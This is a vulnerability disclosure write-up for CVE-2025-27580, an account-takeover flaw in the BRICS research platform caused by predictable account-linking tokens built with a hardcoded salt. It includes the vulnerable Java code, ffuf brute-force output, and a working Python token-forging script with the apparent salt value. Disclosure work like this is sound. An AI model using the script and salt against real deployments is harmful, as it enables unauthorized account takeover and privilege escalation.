CVE-2025-27580

You're so... Predictable
Earlier this year, while red teaming some public-facing web apps, I came across an unknown vulnerability in a platform called BRICS. It relied on tokens generated using predictable values and hardcoded salts—some of which had been around for years. During the recon phase, I found a lonely old GitHub repo containing the application’s source code. Even though the codebase had probably changed quite a bit, I figured traces of the original token generation logic might still be useful (originally used for password resets, now for linking SSO accounts) and made a note of it—which eventually led to the discovery of a zero-day that allowed unauthenticated users to take over accounts and escalate privileges.
BRICS == BRICKS?
The Biomedical Research Informatics Computing System, or BRICS, is a comprehensive but customizable data science platform designed to efficiently collect, validate, harmonize, and analyze research datasets. A modular, web-based system, BRICS makes the performance of research studies and clinical trials faster, simpler, and more collaborative. And because BRICS is un-branded and un-associated with a particular disease or organization, it can be customized to meet your research objectives. This web-based application is 21 CRF Part 11 compliant, secureb>, and intuitive to use. In addition, users with programming expertise can use an application programming interface (API) for more dynamic data analysis including Artificial Intelligence and Machine Learning (AI/ML) applications. BRICS is actively used across the NIH and by the DoD for data warehousing, and clinical trials research.
From Curiosity to Compromise
The vulnerability was found before we were even issued testing accounts, and was in the application's account linking feature, which allowed users to link their Common Access Card (CAC) or another Single Sign-On (SSO) method to an existing account within the application.
It immediately caught my attention during testing, as I’d previously discovered vulnerabilities in similar features. The vulnerability stemmed from how the tokens sent to the email associated with the existing account were generated. For a similar vulnerability, check out my writeup of the Predictable challenge from HackTheBox.
Surprisingly, during the reconnaissance portion of the assessment, while conducting open-source intelligence (OSINT), I discovered a GitHub repo containing an outdated version of the software, nearly five years old.
In the older source code, the account linking feature didn't exist yet, but their was a password reset feature that looked oddly similar to the account linking page.
It seemed passwords had been replaced by SSOs, but the logic for generating tokens for password resets had been recycled, and was now used to generate account linking tokens.
Not So Random After All
The source code provided insight into some critical logic:
- The tokens were generated by concatenating a user’s username and the timestamp of the request, then hashing the result using SHA-256.
- The salt was hardcoded!
- The URL and parameters to link and account (reset password in old code), which was something like: https://example.gov/portal/linkAccount.action?username=crose&token=
private String hashRecoveryString(String userName, Date date) {
byte[] raw = null;
// Digest the String
try {
raw = MessageDigest.getInstance("SHA-256")
.digest((userName + date.toString() + CoreConstants.SALT).getBytes());
} catch (NoSuchAlgorithmException e) {
logger.error("There was an exception in the accountManagerImpl hashRecoveryString(): "
+ e.getLocalizedMessage());
e.printStackTrace();
return null;
}
Crafting an Exploit
After reviewing the code, I knew I needed 3 things to get a working exploit:
- A valid username.
- A valid timestamp.
- The salt value.
Valid usernames could be enumerated through the account creation process, which fulfills the first requirment.
Typically, to get the timestamp in a situation like this one, we would eventually need to brute-force it using a tool like ffuf with a list of potential tokens:
rosehacks@pwny$ ffuf -u https://example.gov/portal/linkAccount.action?username=crose&token=FUZZ -w tokens.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev =============================================================== :: Method : GET :: URL : [http://127.0.0.1:1337/api/reset-password](http://127.0.0.1:1337/portal/linkAccount.action?username=crose&token=FUZZ) :: Wordlist : FUZZ: /home/kali/token.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 5 =============================================================== 2d05f0c1a911b4176613134f6f0826fd [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms] :: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::
Thankfully, the value was stored in a cookie called, "linktime", after initiating a valid linking request, which was actually another way to enumerate valid users (no user == no cookie).
Finally, since I already had the potential hardcoded salt value from the older public source code, I now had all three ingredients needed to create an exploit script.
To accomplish this task, i used python and came up with the script below:
import hashlib
def generate_hashed_token(username: str, time_in_millis: str, salt: str) -> str:
"""
Generates a SHA-256 based token.
:param username: The username used in the token generation.
:param time_in_millis: The exact timestamp in milliseconds.
:param salt: The application's SALT value.
:return: The generated token as a hex string.
"""
raw_data = (str(username) + str(time_in_millis) + str(salt)).encode()
hashed_bytes = hashlib.sha256(raw_data).digest()
hex_token = "".join(f"{b:02x}" for b in hashed_bytes)
return hex_token
username = "username"
time_in_millis = "timestamp"
salt = "7Dl9#dj-".strip()
token = generate_hashed_token(username, time_in_millis, salt)
print(f"Generated Token: {token}")
Account Takeover
With a potential proof of concept written up, I just needed to test it.
I initiated an account linking request using a known username, and after a few seconds recieved an email with the following URL:
https://example.gov/portal/linkaccount/linkAccount!linkAccount.action?username=rosehacks&token=f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef
Next, I ran the exploit script using the same username and timestamp I obtained from the cookie:
rosehacks@pwny$ python3 exploit.py Generated Token: f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef
As you can see, the tokens matched up and I was able to successfully link my SSO to an existing application account with higher privileges than my own.
References
- https://github.com/RoseHacks/Vulnerability.Research/tree/main/CVE-2025-27580
- https://bugculture.io/writeups/web/predictable
- https://www.cve.org/CVERecord?id=CVE-2025-27580